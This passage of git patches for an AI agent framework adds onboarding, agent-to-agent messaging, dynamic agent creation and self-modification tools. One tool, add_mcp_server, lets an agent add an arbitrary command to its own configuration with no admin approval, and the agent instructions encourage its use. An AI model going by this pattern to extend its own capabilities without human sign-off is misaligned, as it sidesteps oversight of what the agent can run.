b/container/skills/welcome/SKILL.md @@ -0,0 +1,25 @@ +--- +name: welcome +description: Introduce yourself to a newly connected channel. Triggered automatically when a channel is first wired. Send a friendly greeting and brief overview of what you can do. +--- + +# /welcome — Channel Onboarding + +You've just been connected to a new messaging channel. Introduce yourself to the user. + +## What to do + +1. Send a short, friendly greeting using `send_message` +2. Mention your name (from your CLAUDE.md) +3. Briefly describe 2-3 things you can help with based on your configured skills and tools +4. Keep it to 2-4 sentences — don't overwhelm + +## Tone + +Warm but concise. This is a first impression — be helpful, not verbose. Match the channel's vibe (casual for Telegram/Discord, slightly more professional for Slack/Teams/email). + +## Example + +> Hey! I'm Andy, your assistant. I can help with coding tasks, answer questions, manage scheduled reminders, and work with files. Just send me a message anytime. + +Adapt based on your actual name and capabilities. Don't list every tool — pick the most useful ones. diff --git a/setup/register.ts b/setup/register.ts index 51f2192..9a999d4 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -19,6 +19,7 @@ import { } from '../src/db/messaging-groups.js'; import { isValidGroupFolder } from '../src/group-folder.js'; import { log } from '../src/log.js'; +import { resolveSession, writeSessionMessage } from '../src/session-manager.js'; import { emitStatus } from './status.js'; interface RegisterArgs { @@ -190,7 +191,21 @@ export async function run(args: string[]): Promise { log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); } - // 4. Create group folders + // 4. Send onboarding message — triggers the /welcome skill in the container + const { session } = resolveSession(agentGroup.id, messagingGroup.id, null, parsed.sessionMode as 'shared' | 'per-thread' | 'agent-shared'); + writeSessionMessage(agentGroup.id, session.id, { + id: generateId('onboard'), + kind: 'task', + timestamp: new Date().toISOString(), + platformId: parsed.platformId, + channelType: parsed.channel, + content: JSON.stringify({ + prompt: `A new ${parsed.channel} channel has been connected. Run /welcome to introduce yourself to the user.`, + }), + }); + log.info('Onboarding message written', { sessionId: session.id, channel: parsed.channel }); + + // 5. Create group folders fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { recursive: true }); // Create CLAUDE.md from template if it doesn't exist @@ -205,7 +220,7 @@ export async function run(args: string[]): Promise { } } - // 5. Update assistant name in CLAUDE.md files if different from default + // 6. Update assistant name in CLAUDE.md files if different from default let nameUpdated = false; if (parsed.assistantName !== 'Andy') { log.info('Updating assistant name', { from: 'Andy', to: parsed.assistantName }); From 5a309a0e2581066e02a6e08baa2189f65dff6ff9 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:49:58 +0300 Subject: [PATCH 094/485] fix: only send onboarding message on first wiring, not re-registration Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index 9a999d4..8d018a4 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -169,8 +169,10 @@ export async function run(args: string[]): Promise { } // 3. Wire agent to messaging group + let newlyWired = false; const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id); if (!existing) { + newlyWired = true; const mgaId = generateId('mga'); const triggerRules = parsed.trigger ? JSON.stringify({ @@ -191,19 +193,21 @@ export async function run(args: string[]): Promise { log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); } - // 4. Send onboarding message — triggers the /welcome skill in the container - const { session } = resolveSession(agentGroup.id, messagingGroup.id, null, parsed.sessionMode as 'shared' | 'per-thread' | 'agent-shared'); - writeSessionMessage(agentGroup.id, session.id, { - id: generateId('onboard'), - kind: 'task', - timestamp: new Date().toISOString(), - platformId: parsed.platformId, - channelType: parsed.channel, - content: JSON.stringify({ - prompt: `A new ${parsed.channel} channel has been connected. Run /welcome to introduce yourself to the user.`, - }), - }); - log.info('Onboarding message written', { sessionId: session.id, channel: parsed.channel }); + // 4. Send onboarding message — only on first wiring, not re-registration + if (newlyWired) { + const { session } = resolveSession(agentGroup.id, messagingGroup.id, null, parsed.sessionMode as 'shared' | 'per-thread' | 'agent-shared'); + writeSessionMessage(agentGroup.id, session.id, { + id: generateId('onboard'), + kind: 'task', + timestamp: new Date().toISOString(), + platformId: parsed.platformId, + channelType: parsed.channel, + content: JSON.stringify({ + prompt: `A new ${parsed.channel} channel has been connected. Run /welcome to introduce yourself to the user.`, + }), + }); + log.info('Onboarding message written', { sessionId: session.id, channel: parsed.channel }); + } // 5. Create group folders fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { recursive: true }); From e2dbc35a150d5fb5668c1da260e66da4defb8217 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:52:35 +0300 Subject: [PATCH 095/485] docs: add auto-onboarding to v2 checklist Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 3317d44..ea1d717 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -59,6 +59,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Channel Info metadata in each channel skill (type, terminology, how-to-find-id, isolation defaults) - [x] /manage-channels skill (wire channels to agent groups with three isolation levels) - [x] Agent-shared session mode (cross-channel shared sessions, e.g. GitHub + Slack) +- [x] Auto-onboarding on channel registration (/welcome skill triggered on first wiring) - [ ] Setup vs production channel separation - [ ] Generate visual diagram of customized instance at end of setup From 69939b7774a6e0fd4043b5e002cac3770dda0fd3 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:54:54 +0300 Subject: [PATCH 096/485] =?UTF-8?q?docs:=20fix=20v2=20checklist=20accuracy?= =?UTF-8?q?=20=E2=80=94=20pre-agent=20scripts,=20typing,=20stubs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Pre-agent scripts: [~] → [ ] (formatter references scriptOutput but no execution logic exists) - Add typing indicator as completed (triggerTyping in router) - Remove "stub exists" from register_group/reset_session (no stubs found) Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index ea1d717..25437e6 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -70,6 +70,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Session resolution (shared vs per-thread modes) - [x] Message writing to session DB with seq numbering - [x] Container waking on new message +- [x] Typing indicator triggered on message route - [~] Trigger rule matching (router picks highest-priority agent, regex/mention matching TODO) ## Rich Messaging @@ -104,7 +105,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Recurring tasks via cron expressions - [x] Host sweep picks up due messages and advances recurrence - [x] Scheduled outbound messages (no container wake needed) -- [~] Pre-agent scripts (task kind with script field, documented but not verified) +- [ ] Pre-agent scripts (formatter references scriptOutput but no execution logic) ## Permissions and Approval Flows @@ -152,8 +153,8 @@ Status: [x] done, [~] partial, [ ] not started ## System Actions -- [ ] register_group from inside agent (stub exists) -- [ ] reset_session from inside agent (stub exists) +- [ ] register_group from inside agent +- [ ] reset_session from inside agent ## Integrations From 9af9bc947a07d15e71ba5f3b422a0d19d1102b04 Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Thu, 9 Apr 2026 13:57:28 +0000 Subject: [PATCH 097/485] fix(discord-v2): document required DISCORD_PUBLIC_KEY and APPLICATION_ID The Discord adapter fails to start without all three env vars. Also fix platform ID format docs to show discord:{guildId}:{channelId}. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-discord-v2/SKILL.md | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/.claude/skills/add-discord-v2/SKILL.md b/.claude/skills/add-discord-v2/SKILL.md index 40d6f9e..f0c0771 100644 --- a/.claude/skills/add-discord-v2/SKILL.md +++ b/.claude/skills/add-discord-v2/SKILL.md @@ -35,20 +35,25 @@ npm run build 1. Go to the [Discord Developer Portal](https://discord.com/developers/applications) 2. Click **New Application** and give it a name (e.g., "NanoClaw Assistant") -3. Go to the **Bot** tab and click **Add Bot** if needed -4. Copy the Bot Token (click **Reset Token** if you need a new one — you can only see it once) -5. Under **Privileged Gateway Intents**, enable **Message Content Intent** -6. Go to **OAuth2** > **URL Generator**: +3. From the **General Information** tab, copy the **Application ID** and **Public Key** +4. Go to the **Bot** tab and click **Add Bot** if needed +5. Copy the Bot Token (click **Reset Token** if you need a new one — you can only see it once) +6. Under **Privileged Gateway Intents**, enable **Message Content Intent** +7. Go to **OAuth2** > **URL Generator**: - Scopes: select `bot` - Bot Permissions: select `Send Messages`, `Read Message History`, `Add Reactions`, `Attach Files`, `Use Slash Commands` -7. Copy the generated URL and open it in your browser to invite the bot to your server +8. Copy the generated URL and open it in your browser to invite the bot to your server ### Configure environment +All three values are required — the adapter will fail to start without `DISCORD_PUBLIC_KEY` and `DISCORD_APPLICATION_ID`. + Add to `.env`: ```bash DISCORD_BOT_TOKEN=your-bot-token +DISCORD_APPLICATION_ID=your-application-id +DISCORD_PUBLIC_KEY=your-public-key ``` Sync to container: `mkdir -p data/env && cp .env data/env/env` @@ -63,7 +68,7 @@ Otherwise, run `/manage-channels` to wire this channel to an agent group. - **type**: `discord` - **terminology**: Discord has "servers" (also called "guilds") containing "channels." Text channels start with #. The bot can also receive direct messages. -- **how-to-find-id**: Enable Developer Mode in Discord (Settings > App Settings > Advanced > Developer Mode). Then right-click a server or channel and select "Copy ID." +- **how-to-find-id**: Enable Developer Mode in Discord (Settings > App Settings > Advanced > Developer Mode). Then right-click a server and select "Copy Server ID" for the guild ID, and right-click the text channel and select "Copy Channel ID." The platform ID format used in registration is `discord:{guildId}:{channelId}` — both IDs are required. - **supports-threads**: yes - **typical-use**: Interactive chat — server channels or direct messages - **default-isolation**: Same agent group for your personal server. Separate agent group for servers with different communities or where different members have different information boundaries. From d8fbd3b239e7e25a6bdd534a52ea123ae570e5b2 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 01:10:34 +0300 Subject: [PATCH 098/485] feat: agent-to-agent communication, dynamic agent creation, self-modification tools Agent-to-agent: host routes messages with channel_type='agent' to target agent's inbound.db, enriches with sender info, wakes target container. Bidirectional routing works via inherited routing context. Dynamic agents: create_agent MCP tool + system action handler creates agent groups, folders, and optional CLAUDE.md on the fly. Self-modification: install_packages (apt/npm, requires admin approval), add_mcp_server (no approval), request_rebuild (builds per-agent-group Docker image with approved packages). Approval flow reuses interactive card infrastructure with pending_approvals table. Also includes fixes from prior session: attachment download, reply context extraction, message editing (platform message ID tracking), delivery retry limits, and card update on button click. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 6 +- container/agent-runner/src/db/messages-out.ts | 25 +- container/agent-runner/src/formatter.ts | 24 +- container/agent-runner/src/index.ts | 38 +- .../agent-runner/src/mcp-tools/agents.ts | 61 +++- container/agent-runner/src/mcp-tools/index.ts | 3 +- .../agent-runner/src/mcp-tools/self-mod.ts | 155 ++++++++ groups/global/CLAUDE.md | 28 ++ src/channels/adapter.ts | 4 +- src/channels/channel-registry.test.ts | 7 +- src/channels/chat-sdk-bridge.ts | 100 +++++- src/channels/discord.ts | 19 +- src/channels/telegram.ts | 14 +- src/container-runner.ts | 62 +++- src/db/db-v2.test.ts | 2 +- src/db/messaging-groups.ts | 11 + src/db/migrations/003-pending-approvals.ts | 18 + src/db/migrations/index.ts | 3 +- src/db/schema.ts | 8 +- src/db/sessions.ts | 23 +- src/delivery.ts | 335 +++++++++++++++++- src/index.ts | 78 +++- src/session-manager.ts | 68 +++- src/types.ts | 11 + 24 files changed, 1025 insertions(+), 78 deletions(-) create mode 100644 container/agent-runner/src/mcp-tools/self-mod.ts create mode 100644 src/db/migrations/003-pending-approvals.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 31f2fb2..0877531 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -90,8 +90,10 @@ export function initTestSessionDb(): { inbound: Database.Database; outbound: Dat content TEXT NOT NULL ); CREATE TABLE delivered ( - message_out_id TEXT PRIMARY KEY, - delivered_at TEXT NOT NULL + message_out_id TEXT PRIMARY KEY, + platform_message_id TEXT, + status TEXT NOT NULL DEFAULT 'delivered', + delivered_at TEXT NOT NULL ); `); diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index 55e078c..3d2f411 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -70,16 +70,37 @@ export function writeMessageOut(msg: WriteMessageOut): number { /** * Look up a message's platform ID by seq number. * Searches both inbound and outbound DBs since seq spans both. + * + * For inbound messages, the Chat SDK message ID is already the platform message ID + * (e.g., "6037840640:42" for Telegram). + * + * For outbound messages, the internal ID (msg-xxx) won't work for edits/reactions. + * Instead, look up the platform_message_id from the delivered table (host writes this + * after successful delivery). */ export function getMessageIdBySeq(seq: number): string | null { - const inRow = getInboundDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as + const inbound = getInboundDb(); + + // Inbound messages: ID is already the platform message ID + const inRow = inbound.prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as | { id: string } | undefined; if (inRow) return inRow.id; + + // Outbound messages: look up platform message ID from delivered table const outRow = getOutboundDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as | { id: string } | undefined; - return outRow?.id ?? null; + if (!outRow) return null; + + // Check if host has stored the platform message ID after delivery + const deliveredRow = inbound + .prepare('SELECT platform_message_id FROM delivered WHERE message_out_id = ?') + .get(outRow.id) as { platform_message_id: string | null } | undefined; + if (deliveredRow?.platform_message_id) return deliveredRow.platform_message_id; + + // Fallback to internal ID (edits/reactions on undelivered messages won't work) + return outRow.id; } /** Get undelivered messages (for host polling — reads from outbound.db). */ diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index 8b0b1e8..87be2d6 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -109,13 +109,7 @@ function formatChatMessages(messages: MessageInRow[]): string { const lines = ['']; for (const msg of messages) { - const content = parseContent(msg.content); - const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; - const time = formatTime(msg.timestamp); - const text = content.text || ''; - const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; - const attachmentsSuffix = formatAttachments(content.attachments); - lines.push(`${escapeXml(text)}${attachmentsSuffix}`); + lines.push(formatSingleChat(msg)); } lines.push(''); return lines.join('\n'); @@ -127,8 +121,9 @@ function formatSingleChat(msg: MessageInRow): string { const time = formatTime(msg.timestamp); const text = content.text || ''; const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; + const replyPrefix = formatReplyContext(content.replyTo); const attachmentsSuffix = formatAttachments(content.attachments); - return `${escapeXml(text)}${attachmentsSuffix}`; + return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; } function formatTaskMessage(msg: MessageInRow): string { @@ -153,13 +148,26 @@ function formatSystemMessage(msg: MessageInRow): string { return `[SYSTEM RESPONSE]\n\nAction: ${content.action || 'unknown'}\nStatus: ${content.status || 'unknown'}\nResult: ${JSON.stringify(content.result || null)}`; } +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function formatReplyContext(replyTo: any): string { + if (!replyTo) return ''; + const sender = replyTo.sender || 'Unknown'; + const text = replyTo.text || ''; + const preview = text.length > 100 ? text.slice(0, 100) + '…' : text; + return `\n${escapeXml(preview)}\n`; +} + // eslint-disable-next-line @typescript-eslint/no-explicit-any function formatAttachments(attachments: any[] | undefined): string { if (!Array.isArray(attachments) || attachments.length === 0) return ''; const parts = attachments.map((a) => { const name = a.name || a.filename || 'attachment'; const type = a.type || 'file'; + const localPath = a.localPath ? `/workspace/${a.localPath}` : ''; const url = a.url || ''; + if (localPath) { + return `[${type}: ${escapeXml(name)} — saved to ${escapeXml(localPath)}]`; + } return url ? `[${type}: ${escapeXml(name)} (${escapeXml(url)})]` : `[${type}: ${escapeXml(name)}]`; }); return '\n' + parts.join('\n'); diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 8f91e6e..1513f5c 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -76,20 +76,36 @@ async function main(): Promise { CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', }; + // Build MCP servers config: nanoclaw built-in + any additional from host + const mcpServers: Record }> = { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + SESSION_INBOUND_DB_PATH: process.env.SESSION_INBOUND_DB_PATH || '/workspace/inbound.db', + SESSION_OUTBOUND_DB_PATH: process.env.SESSION_OUTBOUND_DB_PATH || '/workspace/outbound.db', + SESSION_HEARTBEAT_PATH: process.env.SESSION_HEARTBEAT_PATH || '/workspace/.heartbeat', + }, + }, + }; + + // Merge additional MCP servers from host configuration + if (process.env.NANOCLAW_MCP_SERVERS) { + try { + const additional = JSON.parse(process.env.NANOCLAW_MCP_SERVERS) as Record }>; + for (const [name, config] of Object.entries(additional)) { + mcpServers[name] = config; + log(`Additional MCP server: ${name} (${config.command})`); + } + } catch (e) { + log(`Failed to parse NANOCLAW_MCP_SERVERS: ${e}`); + } + } + await runPollLoop({ provider, cwd: CWD, - mcpServers: { - nanoclaw: { - command: 'node', - args: [mcpServerPath], - env: { - SESSION_INBOUND_DB_PATH: process.env.SESSION_INBOUND_DB_PATH || '/workspace/inbound.db', - SESSION_OUTBOUND_DB_PATH: process.env.SESSION_OUTBOUND_DB_PATH || '/workspace/outbound.db', - SESSION_HEARTBEAT_PATH: process.env.SESSION_HEARTBEAT_PATH || '/workspace/.heartbeat', - }, - }, - }, + mcpServers, systemPrompt, env, additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts index 54e50b6..a9443de 100644 --- a/container/agent-runner/src/mcp-tools/agents.ts +++ b/container/agent-runner/src/mcp-tools/agents.ts @@ -1,6 +1,7 @@ /** - * Agent-to-agent MCP tools: send_to_agent. + * Agent-to-agent MCP tools: send_to_agent, create_agent. */ +import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -20,6 +21,10 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + export const sendToAgent: McpToolDefinition = { tool: { name: 'send_to_agent', @@ -55,4 +60,56 @@ export const sendToAgent: McpToolDefinition = { }, }; -export const agentTools: McpToolDefinition[] = [sendToAgent]; +export const createAgent: McpToolDefinition = { + tool: { + name: 'create_agent', + description: 'Create a new agent group dynamically. Returns the new agent group ID.', + inputSchema: { + type: 'object' as const, + properties: { + name: { type: 'string', description: 'Agent display name' }, + instructions: { type: 'string', description: 'CLAUDE.md content (agent instructions/personality)' }, + folder: { type: 'string', description: 'Folder name (default: auto-generated from name)' }, + }, + required: ['name'], + }, + }, + async handler(args) { + const name = args.name as string; + if (!name) return err('name is required'); + + const requestId = generateId(); + + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'create_agent', + requestId, + name, + instructions: (args.instructions as string) || null, + folder: (args.folder as string) || null, + }), + }); + + log(`create_agent: ${requestId} → "${name}"`); + + // Poll for host response + const deadline = Date.now() + 30_000; + while (Date.now() < deadline) { + const response = findQuestionResponse(requestId); + if (response) { + const parsed = JSON.parse(response.content); + markCompleted([response.id]); + if (parsed.status === 'success') { + return ok(`Agent created: ${parsed.result.agentGroupId} (name: ${parsed.result.name}, folder: ${parsed.result.folder})`); + } + return err(parsed.result?.error || 'Failed to create agent'); + } + await sleep(1000); + } + return err('Timed out waiting for agent creation response'); + }, +}; + +export const agentTools: McpToolDefinition[] = [sendToAgent, createAgent]; diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index 254d802..f98143d 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -14,12 +14,13 @@ import { coreTools } from './core.js'; import { schedulingTools } from './scheduling.js'; import { interactiveTools } from './interactive.js'; import { agentTools } from './agents.js'; +import { selfModTools } from './self-mod.js'; function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); } -const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools]; +const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools, ...selfModTools]; const toolMap = new Map(); for (const t of allTools) { diff --git a/container/agent-runner/src/mcp-tools/self-mod.ts b/container/agent-runner/src/mcp-tools/self-mod.ts new file mode 100644 index 0000000..9a0ef18 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/self-mod.ts @@ -0,0 +1,155 @@ +/** + * Self-modification MCP tools: install_packages, add_mcp_server, request_rebuild. + * + * These tools request changes to the agent's container configuration. + * install_packages and request_rebuild require admin approval. + * add_mcp_server takes effect on next container restart without approval. + */ +import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +async function pollForResponse(requestId: string, timeoutMs: number) { + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + const response = findQuestionResponse(requestId); + if (response) { + const parsed = JSON.parse(response.content); + markCompleted([response.id]); + if (parsed.status === 'success') { + return ok(JSON.stringify(parsed.result || 'Success')); + } + return err(parsed.result?.error || parsed.selectedOption || 'Request denied'); + } + await sleep(2000); + } + return err(`Request timed out after ${timeoutMs / 1000}s`); +} + +export const installPackages: McpToolDefinition = { + tool: { + name: 'install_packages', + description: + 'Request installation of system (apt) or Node.js (npm) packages in the container. Requires admin approval. Takes effect after container rebuild.', + inputSchema: { + type: 'object' as const, + properties: { + apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install' }, + npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally' }, + reason: { type: 'string', description: 'Why these packages are needed' }, + }, + }, + }, + async handler(args) { + const apt = (args.apt as string[]) || []; + const npm = (args.npm as string[]) || []; + if (apt.length === 0 && npm.length === 0) return err('At least one apt or npm package is required'); + + const requestId = generateId(); + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'install_packages', + requestId, + apt, + npm, + reason: (args.reason as string) || '', + }), + }); + + log(`install_packages: ${requestId} → apt=[${apt.join(',')}] npm=[${npm.join(',')}]`); + return await pollForResponse(requestId, 300_000); + }, +}; + +export const addMcpServer: McpToolDefinition = { + tool: { + name: 'add_mcp_server', + description: + "Add an MCP server to this agent's configuration. Takes effect on next container restart (no rebuild needed, no approval required).", + inputSchema: { + type: 'object' as const, + properties: { + name: { type: 'string', description: 'MCP server name (unique identifier)' }, + command: { type: 'string', description: 'Command to run the MCP server' }, + args: { type: 'array', items: { type: 'string' }, description: 'Command arguments' }, + env: { type: 'object', description: 'Environment variables for the server' }, + }, + required: ['name', 'command'], + }, + }, + async handler(args) { + const name = args.name as string; + const command = args.command as string; + if (!name || !command) return err('name and command are required'); + + const requestId = generateId(); + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'add_mcp_server', + requestId, + name, + command, + args: (args.args as string[]) || [], + env: (args.env as Record) || {}, + }), + }); + + log(`add_mcp_server: ${requestId} → "${name}" (${command})`); + return await pollForResponse(requestId, 30_000); + }, +}; + +export const requestRebuild: McpToolDefinition = { + tool: { + name: 'request_rebuild', + description: + 'Request a container rebuild to apply pending package installations. Requires admin approval. The current container will be stopped and restarted with the new image.', + inputSchema: { + type: 'object' as const, + properties: { + reason: { type: 'string', description: 'Why the rebuild is needed' }, + }, + }, + }, + async handler(args) { + const requestId = generateId(); + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'request_rebuild', + requestId, + reason: (args.reason as string) || '', + }), + }); + + log(`request_rebuild: ${requestId}`); + return await pollForResponse(requestId, 300_000); + }, +}; + +export const selfModTools: McpToolDefinition[] = [installPackages, addMcpServer, requestRebuild]; diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index b3c44c6..d2b2658 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -77,6 +77,34 @@ Standard Markdown works: `**bold**`, `*italic*`, `[links](url)`, `# headings`. --- +## Installing Packages & Tools + +Your container is ephemeral — anything installed via `apt-get` or `npm install -g` is lost on restart. To install packages that persist, use the self-modification tools: + +1. **`install_packages`** — request system (apt) or global npm packages. Requires admin approval. +2. **`request_rebuild`** — rebuild your container image so approved packages are baked in. Always call this after `install_packages` to apply the changes. + +Example flow: +``` +install_packages({ apt: ["ffmpeg"], npm: ["@xenova/transformers"], reason: "Audio transcription" }) +# → Admin gets an approval card → approves +request_rebuild({ reason: "Apply ffmpeg + transformers" }) +# → Admin approves → image rebuilt with the packages +``` + +**When to use this vs workspace npm install:** +- `npm install` in `/workspace/agent/` persists on disk (it's mounted) but isn't on the global PATH — use it for project-level dependencies +- `install_packages` is for system tools (ffmpeg, imagemagick) and global npm packages that need to be on PATH + +### MCP Servers + +Use **`add_mcp_server`** to add an MCP server to your configuration, then **`request_rebuild`** to apply. Browse available servers at https://mcp.so — it's a curated directory of high-quality MCP servers. Most Node.js servers run via `npx`, e.g.: + +``` +add_mcp_server({ name: "memory", command: "npx", args: ["@modelcontextprotocol/server-memory"] }) +request_rebuild({ reason: "Add memory MCP server" }) +``` + ## Task Scripts For any recurring task, use `schedule_task`. Frequent agent invocations — especially multiple times a day — consume API credits and can risk account restrictions. If a simple check can determine whether action is needed, add a `script` — it runs first, and the agent is only called when the check passes. This keeps invocations to a minimum. diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 23271ed..d02f62c 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -67,8 +67,8 @@ export interface ChannelAdapter { teardown(): Promise; isConnected(): boolean; - // Outbound delivery - deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; + // Outbound delivery — returns the platform message ID if available + deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; // Optional setTyping?(platformId: string, threadId: string | null): Promise; diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 2fc183b..25ceab3 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -54,8 +54,9 @@ function createMockAdapter( return setupConfig !== null; }, - async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage) { + async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage): Promise { delivered.push(message); + return undefined; }, async setTyping() {}, @@ -213,8 +214,8 @@ describe('channel + router integration', () => { setDeliveryAdapter({ async deliver(channelType, platformId, threadId, kind, content) { const adapter = getChannelAdapter(channelType); - if (!adapter) return; - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + if (!adapter) return undefined; + return adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); }, }); diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 1d84b00..9f8f9d2 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -30,11 +30,23 @@ interface GatewayAdapter extends Adapter { ): Promise; } +/** Reply context extracted from a platform's raw message. */ +export interface ReplyContext { + text: string; + sender: string; +} + +/** Extract reply context from a platform-specific raw message. Return null if no reply. */ +// eslint-disable-next-line @typescript-eslint/no-explicit-any +export type ReplyContextExtractor = (raw: Record) => ReplyContext | null; + export interface ChatSdkBridgeConfig { adapter: Adapter; concurrency?: ConcurrencyStrategy; /** Bot token for authenticating forwarded Gateway events (required for interaction handling). */ botToken?: string; + /** Platform-specific reply context extraction. */ + extractReplyContext?: ReplyContextExtractor; } export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { @@ -53,11 +65,50 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return map; } - function messageToInbound(message: ChatMessage): InboundMessage { + async function messageToInbound(message: ChatMessage): Promise { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const serialized = message.toJSON() as Record; + + // Download attachment data before serialization loses fetchData() + if (message.attachments && message.attachments.length > 0) { + const enriched = []; + for (const att of message.attachments) { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const entry: Record = { + type: att.type, + name: att.name, + mimeType: att.mimeType, + size: att.size, + width: (att as unknown as Record).width, + height: (att as unknown as Record).height, + }; + if (att.fetchData) { + try { + const buffer = await att.fetchData(); + entry.data = buffer.toString('base64'); + } catch (err) { + log.warn('Failed to download attachment', { type: att.type, err }); + } + } + enriched.push(entry); + } + serialized.attachments = enriched; + } + + // Extract reply context via platform-specific hook + if (config.extractReplyContext && message.raw) { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const replyTo = config.extractReplyContext(message.raw as Record); + if (replyTo) serialized.replyTo = replyTo; + } + + // Drop raw to save DB space (can be very large) + serialized.raw = undefined; + return { id: message.id, 